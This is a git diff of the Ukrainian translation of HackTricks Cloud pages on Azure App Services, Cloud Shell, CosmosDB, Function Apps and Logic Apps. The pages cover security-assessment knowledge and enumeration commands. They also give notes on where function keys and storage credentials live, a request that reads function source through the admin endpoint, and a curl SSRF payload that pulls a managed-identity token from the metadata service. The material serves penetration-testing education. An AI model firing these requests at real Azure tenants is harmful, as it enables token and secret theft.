{{#tab name="Az Powershell" }}
|
||||
```bash
|
||||
Get-Command -Module Az.Websites
|
||||
|
||||
# Get App Services and Function Apps
|
||||
Get-AzWebApp
|
||||
# Get only App Services
|
||||
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
|
||||
|
||||
# Retrieves details of a specific App Service Environment in the specified resource group.
|
||||
Get-AzAppServiceEnvironment -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the access restriction configuration for a specified Web App.
|
||||
Get-AzWebAppAccessRestrictionConfig -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the SSL certificates for a specified resource group.
|
||||
Get-AzWebAppCertificate -ResourceGroupName <ResourceGroupName>
|
||||
# Retrieves the continuous deployment URL for a containerized Web App.
|
||||
Get-AzWebAppContainerContinuousDeploymentUrl -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the list of continuous WebJobs for a specified Web App.
|
||||
Get-AzWebAppWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
|
||||
# Retrieves the list of triggered WebJobs for a specified Web App.
|
||||
Get-AzWebAppTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
|
||||
|
||||
# Retrieves details of a deleted Web App in the specified resource group.
|
||||
Get-AzDeletedWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves a list of snapshots for a specified Web App.
|
||||
Get-AzWebAppSnapshot -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the history of a specific triggered WebJob for a Web App.
|
||||
Get-AzWebAppTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -Name <Name>
|
||||
|
||||
# Retrieves information about deployment slots for a specified Web App.
|
||||
Get-AzWebAppSlot -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
|
||||
Get-AzWebAppSlotWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
|
||||
# Retrieves the triggered WebJobs for a specific deployment slot of a Web App.
|
||||
Get-AzWebAppSlotTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
|
||||
# Retrieves the history of a specific triggered WebJob for a deployment slot of a Web App.
|
||||
Get-AzWebAppSlotTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName> -Name <Name>
|
||||
# Retrieves the continuous WebJobs for a Web App.
|
||||
Get-AzWebAppContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
|
||||
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
|
||||
Get-AzWebAppSlotContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
|
||||
|
||||
# Retrieves the traffic routing rules for a Web App.
|
||||
Get-AzWebAppTrafficRouting -ResourceGroupName <ResourceGroupName> -WebAppName <WebAppName> -RuleName <RuleName>
|
||||
|
||||
# Retrieves details of a specific backup for a Web App.
|
||||
Get-AzWebAppBackup -ResourceGroupName <ResourceGroupName> -Name <Name> -BackupId <BackupId>
|
||||
# Retrieves the backup configuration for a Web App.
|
||||
Get-AzWebAppBackupConfiguration -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the list of all backups for a Web App.
|
||||
Get-AzWebAppBackupList -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
@@ -251,7 +230,7 @@ az webapp up --runtime PYTHON:3.9 --sku B1 --logs
|
||||
|
||||
1. Форкніть репозиторій msdocs-python-flask-webapp-quickstart у вашому обліковому записі Github.
|
||||
2. Створіть новий веб-додаток на Python в Azure.
|
||||
3. У `Deployment Center` змініть джерело, увійдіть з Github, виберіть форкнутий репозиторій і натисніть `Save`.
|
||||
3. У `Deployment Center` змініть джерело, увійдіть за допомогою Github, виберіть форкнутий репозиторій і натисніть `Save`.
|
||||
|
||||
Як і в попередньому випадку, увійшовши в SCM портал або через FTP, можна побачити в `/wwwroot` стиснутий файл `output.tar.gz`, який містить код веб-додатку.
|
||||
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
# Az - Cloud Shell
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Azure Cloud Shell
|
||||
|
||||
**Azure Cloud Shell** - це інтерактивний, автентифікований термінал, доступний через браузер, призначений для управління ресурсами Azure, що пропонує гнучкість роботи як з Bash, так і з PowerShell. Він працює на тимчасовому хості за сесією, який закривається після 20 хвилин бездіяльності, зберігаючи файли в місці $HOME за допомогою файлового сховища обсягом 5 ГБ. Cloud Shell можна отримати через кілька точок, включаючи портал Azure, shell.azure.com, документацію Azure CLI та PowerShell, мобільний додаток Azure та розширення Azure Account для Visual Studio Code.
|
||||
|
||||
Не існує дозволів, призначених для цього сервісу, тому немає технік підвищення привілеїв. Також немає жодного виду перерахунку.
|
||||
|
||||
### Основні функції
|
||||
|
||||
**Середовище**: Azure Cloud Shell забезпечує безпечне середовище, працюючи на Azure Linux, власному дистрибутиві Linux Microsoft, призначеному для хмарної інфраструктури. Усі пакунки, включені до репозиторію Azure Linux, внутрішньо компілюються Microsoft для захисту від атак на ланцюг постачання.
|
||||
**Попередньо встановлені інструменти**: Cloud Shell включає в себе комплексний набір попередньо встановлених інструментів, таких як Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git та текстові редактори, такі як vim, nano та emacs. Ці інструменти готові до використання. Щоб перерахувати встановлені пакунки та модулі, ви можете використовувати "Get-Module -ListAvailable", "tdnf list" та "pip3 list".
|
||||
**$HOME збереження**: При першому запуску Azure Cloud Shell ви можете використовувати його з або без підключеного облікового запису зберігання. Вибір без підключення зберігання створює епізодичну сесію, де файли видаляються, коли сесія закінчується. Щоб зберегти файли між сесіями, змонтуйте обліковий запис зберігання, який автоматично підключається як **$HOME\clouddrive**, з вашим **$HOME** каталогом, збереженим як файл **.img** в Azure File Share. Однак файли поза $HOME та стани машин не зберігаються. Для безпечного зберігання секретів, таких як SSH ключі, використовуйте Azure Key Vault.
|
||||
**Диск Azure (Azure:)**: PowerShell в Azure Cloud Shell включає диск Azure (Azure:), що дозволяє легко навігувати по ресурсах Azure, таким як Обчислення, Мережа та Сховище, використовуючи команди, схожі на файлову систему. Перейдіть на диск Azure за допомогою cd Azure: і поверніться до свого домашнього каталогу за допомогою cd ~. Ви все ще можете використовувати команди Azure PowerShell для управління ресурсами з будь-якого диска.
|
||||
**Встановлення користувацьких інструментів**: Користувачі, які налаштовують Cloud Shell з обліковим записом зберігання, можуть встановлювати додаткові інструменти, які не потребують прав адміністратора. Ця функція дозволяє додаткову настройку середовища Cloud Shell, даючи можливість користувачам налаштувати свою конфігурацію відповідно до своїх потреб.
|
||||
|
||||
## Посилання
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
|
||||
|
||||
|
||||
## Збереження
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
|
||||
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -17,14 +17,14 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
|
||||
|
||||
## Azure CosmosDB
|
||||
|
||||
**Azure Cosmos DB** є повністю **керованою NoSQL, реляційною та векторною базою даних**, яка пропонує час відповіді в одиничних мілісекундах, автоматичну масштабованість та доступність, що підтримується SLA, з безпекою корпоративного рівня. Вона забезпечує швидшу розробку додатків завдяки готовій багаторегіональній розподільній системі даних, відкритим API, SDK для популярних мов та функціям бази даних AI, таким як інтегрована підтримка векторів та безшовна інтеграція з Azure AI.
|
||||
**Azure Cosmos DB** - це повністю **керована NoSQL, реляційна та векторна база даних**, яка забезпечує час відповіді в одиничних мілісекундах, автоматичну масштабованість та доступність з підтримкою SLA з безпекою корпоративного рівня. Вона дозволяє швидше розробляти додатки завдяки готовій багаторегіональній розподільній системі даних, відкритим API, SDK для популярних мов та функціям бази даних AI, таким як інтегрована підтримка векторів та безшовна інтеграція з Azure AI.
|
||||
|
||||
Azure Cosmos DB надає кілька API бази даних для моделювання реальних даних, використовуючи документи, реляційні, ключ-значення, графові та колонові сімейні моделі даних, такими API є NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin та Table.
|
||||
|
||||
Одним з ключових аспектів CosmosDB є Azure Cosmos Account. **Azure Cosmos Account** діє як точка входу до баз даних. Обліковий запис визначає ключові налаштування, такі як глобальний розподіл, рівні узгодженості та конкретний API, який буде використовуватися, наприклад, NoSQL. Через обліковий запис ви можете налаштувати глобальну реплікацію, щоб забезпечити доступність даних у кількох регіонах для зниження затримки. Крім того, ви можете вибрати рівень узгодженості, який балансує між продуктивністю та точністю даних, з варіантами від сильної до остаточної узгодженості.
|
||||
|
||||
### NoSQL (sql)
|
||||
API NoSQL Azure Cosmos DB є документно-орієнтованим API, який використовує JSON як формат даних. Він надає синтаксис запитів, схожий на SQL, для запитів до об'єктів JSON, що робить його придатним для роботи зі структурованими та напівструктурованими даними. Точка доступу сервісу:
|
||||
API NoSQL Azure Cosmos DB є документно-орієнтованим API, який використовує JSON як формат даних. Він надає синтаксис запитів, подібний до SQL, для запитів до об'єктів JSON, що робить його придатним для роботи зі структурованими та напівструктурованими даними. Точка доступу служби:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
@@ -247,7 +247,6 @@ az cosmosdb mongodb collection list --account-name <AccountName> --database-name
|
||||
az cosmosdb mongodb role definition list --account-name <AccountName> --resource-group <ResourceGroupName>
|
||||
# List all user definitions for MongoDB within an Azure Cosmos DB account
|
||||
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
@@ -340,28 +339,30 @@ print(f"Inserted document with ID: {result.inserted_id}")
|
||||
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Постексплуатація
|
||||
## Після експлуатації
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
|
||||
[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## ToDo
|
||||
## Завдання
|
||||
|
||||
* Решта БД тут, таблиці, cassandra, gremlin...
|
||||
* Ознайомтеся з постексплуатацією "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" та визначеннями ролей, оскільки тут може бути підвищення привілеїв
|
||||
* Ознайомтеся з пост-експлуатацією "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" та визначеннями ролей, оскільки тут може бути підвищення привілеїв
|
||||
* Ознайомтеся з відновленнями
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
|
||||
@@ -12,14 +12,14 @@
|
||||
### Різні плани
|
||||
|
||||
- **Flex Consumption Plan**: Пропонує **динамічне, орієнтоване на події масштабування** з оплатою за фактом використання, додаючи або видаляючи екземпляри функцій залежно від попиту. Підтримує **віртуальну мережу** та **попередньо підготовлені екземпляри**, щоб зменшити холодні старти, що робить його підходящим для **змінних навантажень**, які не потребують підтримки контейнерів.
|
||||
- **Traditional Consumption Plan**: За замовчуванням безсерверний варіант, де ви **платите лише за обчислювальні ресурси, коли функції виконуються**. Він автоматично масштабується на основі вхідних подій і включає **оптимізації холодного старту**, але не підтримує розгортання контейнерів. Ідеально підходить для **перемінних навантажень**, які потребують автоматичного масштабування.
|
||||
- **Traditional Consumption Plan**: За замовчуванням безсерверний варіант, де ви **платите лише за обчислювальні ресурси, коли функції виконуються**. Він автоматично масштабується на основі вхідних подій і включає **оптимізації холодного старту**, але не підтримує розгортання контейнерів. Ідеально підходить для **періодичних навантажень**, які потребують автоматичного масштабування.
|
||||
- **Premium Plan**: Призначений для **послідовної продуктивності**, з **попередньо прогрітими працівниками**, щоб усунути холодні старти. Пропонує **подовжені часи виконання, віртуальну мережу** та підтримує **кастомізовані образи Linux**, що робить його ідеальним для **додатків критичного призначення**, які потребують високої продуктивності та розширених функцій.
|
||||
- **Dedicated Plan**: Виконується на виділених віртуальних машинах з **передбачуваним білінгом** і підтримує ручне або автоматичне масштабування. Дозволяє запускати кілька додатків на одному плані, забезпечує **ізоляцію обчислень** і гарантує **безпечний доступ до мережі** через App Service Environments, що робить його ідеальним для **додатків з тривалим виконанням**, які потребують послідовного виділення ресурсів.
|
||||
- **Container Apps**: Дозволяє розгортати **контейнеризовані функціональні додатки** в керованому середовищі, поряд з мікросервісами та API. Підтримує кастомні бібліотеки, міграцію спадкових додатків та **обробку GPU**, усуваючи управління кластерами Kubernetes. Ідеально підходить для **додатків, орієнтованих на події, масштабованих контейнеризованих додатків**.
|
||||
|
||||
### **Сховища**
|
||||
|
||||
При створенні нового Function App, який не контейнеризований (але надає код для виконання), **код та інші дані, пов'язані з функцією, будуть зберігатися в обліковому записі сховища**. За замовчуванням веб-консоль створить новий обліковий запис для кожної функції для зберігання коду.
|
||||
При створенні нового Function App, який не контейнеризований (але надає код для виконання), **код та інші дані, пов'язані з функцією, будуть зберігатися в обліковому записі зберігання**. За замовчуванням веб-консоль створить новий обліковий запис для кожної функції для зберігання коду.
|
||||
|
||||
Більше того, модифікуючи код всередині сховища (в різних форматах, в яких він може бути збережений), **код програми буде змінено на новий і виконано** наступного разу, коли функція буде викликана.
|
||||
|
||||
@@ -28,9 +28,9 @@
|
||||
>
|
||||
> Більше про це в **розділі підвищення привілеїв**.
|
||||
|
||||
Також можливо знайти **ключі майстра та функцій**, збережені в обліковому записі сховища в контейнері **`azure-webjobs-secrets`** всередині папки **`<app-name>`** у JSON-файлах, які ви можете знайти всередині.
|
||||
Також можливо знайти **ключі майстра та функцій**, збережені в обліковому записі зберігання в контейнері **`azure-webjobs-secrets`** всередині папки **`<app-name>`** у JSON-файлах, які ви можете знайти всередині.
|
||||
|
||||
Зверніть увагу, що функції також дозволяють зберігати код у віддаленому місці, просто вказуючи URL на нього.
|
||||
Зверніть увагу, що Functions також дозволяють зберігати код у віддаленому місці, просто вказуючи URL на нього.
|
||||
|
||||
### Мережа
|
||||
|
||||
@@ -40,11 +40,11 @@
|
||||
- Також можливо **надати або обмежити доступ** до Function App з **внутрішньої мережі (VPC)**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Це дуже цікаво з точки зору атакуючого, оскільки може бути можливим **перемикання на внутрішні мережі** з вразливої функції, виставленої в Інтернет.
|
||||
> Це дуже цікаво з точки зору атакуючого, оскільки може бути можливим **перемикання на внутрішні мережі** з вразливої функції, відкритої для Інтернету.
|
||||
|
||||
### **Налаштування Function App та змінні середовища**
|
||||
|
||||
Можливо налаштувати змінні середовища всередині програми, які можуть містити чутливу інформацію. Більше того, за замовчуванням змінні середовища **`AzureWebJobsStorage`** та **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (серед інших) створюються. Ці змінні особливо цікаві, оскільки вони **містять ключ облікового запису для контролю з ПОВНИМИ правами доступу до облікового запису сховища, що містить дані програми**. Ці налаштування також потрібні для виконання коду з облікового запису сховища.
|
||||
Можливо налаштувати змінні середовища всередині програми, які можуть містити чутливу інформацію. Більше того, за замовчуванням змінні середовища **`AzureWebJobsStorage`** та **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (серед інших) створюються. Ці змінні особливо цікаві, оскільки **містять ключ облікового запису для контролю з ПОВНИМИ правами доступу до облікового запису зберігання, що містить дані програми**. Ці налаштування також потрібні для виконання коду з облікового запису зберігання.
|
||||
|
||||
Ці змінні середовища або параметри конфігурації також контролюють, як функція виконує код, наприклад, якщо **`WEBSITE_RUN_FROM_PACKAGE`** існує, це вказує на URL, де розташований код програми.
|
||||
|
||||
@@ -76,7 +76,7 @@
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що немає дозволів RBAC для надання доступу користувачам для виклику функцій. **Виклик функції залежить від тригера**, вибраного під час її створення, і якщо був вибраний HTTP тригер, можливо, знадобиться використовувати **ключ доступу**.
|
||||
|
||||
При створенні кінцевої точки всередині функції за допомогою **HTTP тригера** можливо вказати **рівень авторизації ключа доступу**, необхідний для виклику функції. Доступні три варіанти:
|
||||
При створенні кінцевої точки всередині функції за допомогою **HTTP тригера** можливо вказати **рівень авторизації ключа доступу**, необхідний для тригера функції. Доступні три варіанти:
|
||||
|
||||
- **ANONYMOUS**: **Кожен** може отримати доступ до функції за URL.
|
||||
- **FUNCTION**: Кінцева точка доступна лише користувачам, які використовують **ключ функції, хоста або майстра**.
|
||||
@@ -86,7 +86,7 @@
|
||||
|
||||
- **Ключі функцій:** Ключі функцій можуть бути або за замовчуванням, або визначеними користувачем і призначені для надання доступу виключно до **конкретних кінцевих точок функцій** в рамках Function App, що дозволяє більш детальний доступ до кінцевих точок.
|
||||
- **Ключі хоста:** Ключі хоста, які також можуть бути за замовчуванням або визначеними користувачем, надають доступ до **всіх кінцевих точок функцій в рамках Function App з рівнем доступу FUNCTION**.
|
||||
- **Ключ майстра:** Ключ майстра (`_master`) слугує адміністративним ключем, який пропонує підвищені права, включаючи доступ до всіх кінцевих точок функцій (включаючи рівень доступу ADMIN). Цей **ключ не може бути відкликаний.**
|
||||
- **Ключ майстра:** Ключ майстра (`_master`) слугує адміністративним ключем, який пропонує підвищені права доступу, включаючи доступ до всіх кінцевих точок функцій (включаючи рівень доступу ADMIN). Цей **ключ не може бути відкликаний.**
|
||||
- **Системні ключі:** Системні ключі **керуються конкретними розширеннями** і потрібні для доступу до кінцевих точок вебхуків, які використовуються внутрішніми компонентами. Прикладами є тригер Event Grid та Durable Functions, які використовують системні ключі для безпечної взаємодії з їхніми відповідними API.
|
||||
|
||||
> [!TIP]
|
||||
@@ -192,7 +192,7 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
```
|
||||
</details>
|
||||
|
||||
Більше того, **Managed Identity** також створюється, щоб Github Action з репозиторію міг увійти в Azure з його допомогою. Це робиться шляхом генерації Федеративних облікових даних через **Managed Identity**, що дозволяє **Issuer** `https://token.actions.githubusercontent.com` та **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
Більше того, **Managed Identity** також створюється, щоб Github Action з репозиторію міг увійти в Azure з його допомогою. Це робиться шляхом генерації федеративних облікових даних через **Managed Identity**, що дозволяє **Issuer** `https://token.actions.githubusercontent.com` та **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
|
||||
> [!CAUTION]
|
||||
> Отже, будь-хто, хто скомпрометує цей репозиторій, зможе скомпрометувати функцію та пов'язані з нею Managed Identities.
|
||||
@@ -204,6 +204,10 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
Більше того, **жоден вихідний код не буде зберігатися в обліковому записі зберігання**, пов'язаному з функцією, оскільки це не потрібно.
|
||||
|
||||
## Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
@@ -249,6 +253,30 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.Functions
|
||||
|
||||
# Lists all Function Apps in the current subscription or in a specific resource group.
|
||||
Get-AzFunctionApp -ResourceGroupName <String>
|
||||
|
||||
# Displays the regions where Azure Function Apps are available for deployment.
|
||||
Get-AzFunctionAppAvailableLocation
|
||||
|
||||
# Retrieves details about Azure Function App plans in a subscription or resource group.
|
||||
Get-AzFunctionAppPlan -ResourceGroupName <String> -Name <String>
|
||||
|
||||
# Retrieves the app settings for a specific Azure Function App.
|
||||
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroupName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
## Підвищення Привілеїв
|
||||
|
||||
{{#ref}}
|
||||
|
||||
@@ -4,13 +4,13 @@
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Azure Logic Apps - це хмарний сервіс, наданий Microsoft Azure, який дозволяє розробникам **створювати та виконувати робочі процеси, що інтегрують різні сервіси**, джерела даних та додатки. Ці робочі процеси призначені для **автоматизації бізнес-процесів**, оркестрації завдань та виконання інтеграцій даних між різними платформами.
|
||||
Azure Logic Apps - це хмарний сервіс, наданий Microsoft Azure, який дозволяє розробникам **створювати та виконувати робочі процеси, що інтегрують різні сервіси**, джерела даних та програми. Ці робочі процеси призначені для **автоматизації бізнес-процесів**, оркестрації завдань та виконання інтеграцій даних між різними платформами.
|
||||
|
||||
Logic Apps надає візуальний дизайнер для створення робочих процесів з **широким спектром готових конекторів**, що спрощує підключення та взаємодію з різними сервісами, такими як Office 365, Dynamics CRM, Salesforce та багатьма іншими. Ви також можете створювати власні конектори для своїх специфічних потреб.
|
||||
|
||||
### Приклади
|
||||
|
||||
- **Автоматизація даних**: Logic Apps може автоматизувати **процеси передачі та перетворення даних** у поєднанні з Azure Data Factory. Це корисно для створення масштабованих і надійних конвеєрів даних, які переміщують і перетворюють дані між різними сховищами даних, такими як Azure SQL Database та Azure Blob Storage, що сприяє аналітиці та бізнес-інтелекту.
|
||||
- **Автоматизація даних**: Logic Apps може автоматизувати **процеси передачі та трансформації даних** у поєднанні з Azure Data Factory. Це корисно для створення масштабованих та надійних конвеєрів даних, які переміщують та трансформують дані між різними сховищами даних, такими як Azure SQL Database та Azure Blob Storage, що сприяє аналітиці та бізнес-інтелекту.
|
||||
- **Інтеграція з Azure Functions**: Logic Apps може працювати разом з Azure Functions для розробки **складних, подієвих додатків, які масштабуються за потреби** та безшовно інтегруються з іншими сервісами Azure. Прикладом використання є використання Logic App для виклику Azure Function у відповідь на певні події, такі як зміни в обліковому записі Azure Storage, що дозволяє динамічно обробляти дані.
|
||||
|
||||
### Візуалізація LogicAPP
|
||||
@@ -30,34 +30,260 @@ Logic Apps надає візуальний дизайнер для створе
|
||||
# The URL belongs to a Logic App vulenrable to SSRF
|
||||
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
||||
```
|
||||
### Варіанти хостингу
|
||||
|
||||
Є кілька варіантів хостингу:
|
||||
|
||||
* **Споживання**
|
||||
- **Багатоорендний**: надає спільні обчислювальні ресурси, працює в публічному хмарі та дотримується моделі ціноутворення "плата за операцію". Це ідеально підходить для легких і економічних навантажень.
|
||||
* **Стандартний**
|
||||
- **План служби робочого процесу**: виділені обчислювальні ресурси з інтеграцією VNET для мережі та стягнення плати за кожен екземпляр плану служби робочого процесу. Він підходить для більш вимогливих навантажень, які потребують більшого контролю.
|
||||
- **Середовище служби додатків V3**: виділені обчислювальні ресурси з повною ізоляцією та масштабованістю. Він також інтегрується з VNET для мережі та використовує модель ціноутворення на основі екземплярів служби додатків у середовищі. Це ідеально підходить для корпоративних додатків, які потребують високої ізоляції.
|
||||
- **Гібридний**: розроблений для локальної обробки та підтримки багатохмарності. Він дозволяє керованим клієнтом обчислювальним ресурсам з доступом до локальної мережі та використовує Kubernetes Event-Driven Autoscaling (KEDA).
|
||||
|
||||
### Перерахування
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List
|
||||
az logic workflow list --resource-group <ResourceGroupName> --subscription <SubscriptionID> --output table
|
||||
az logic workflow list --resource-group <ResourceGroupName>
|
||||
# Get info
|
||||
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
# Get Logic App config
|
||||
az logic workflow definition show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
# Get service ppal used
|
||||
az logic workflow identity show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
```
|
||||
{{#endtab }}
|
||||
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||
|
||||
{{#tab name="Az PowerSHell" }}
|
||||
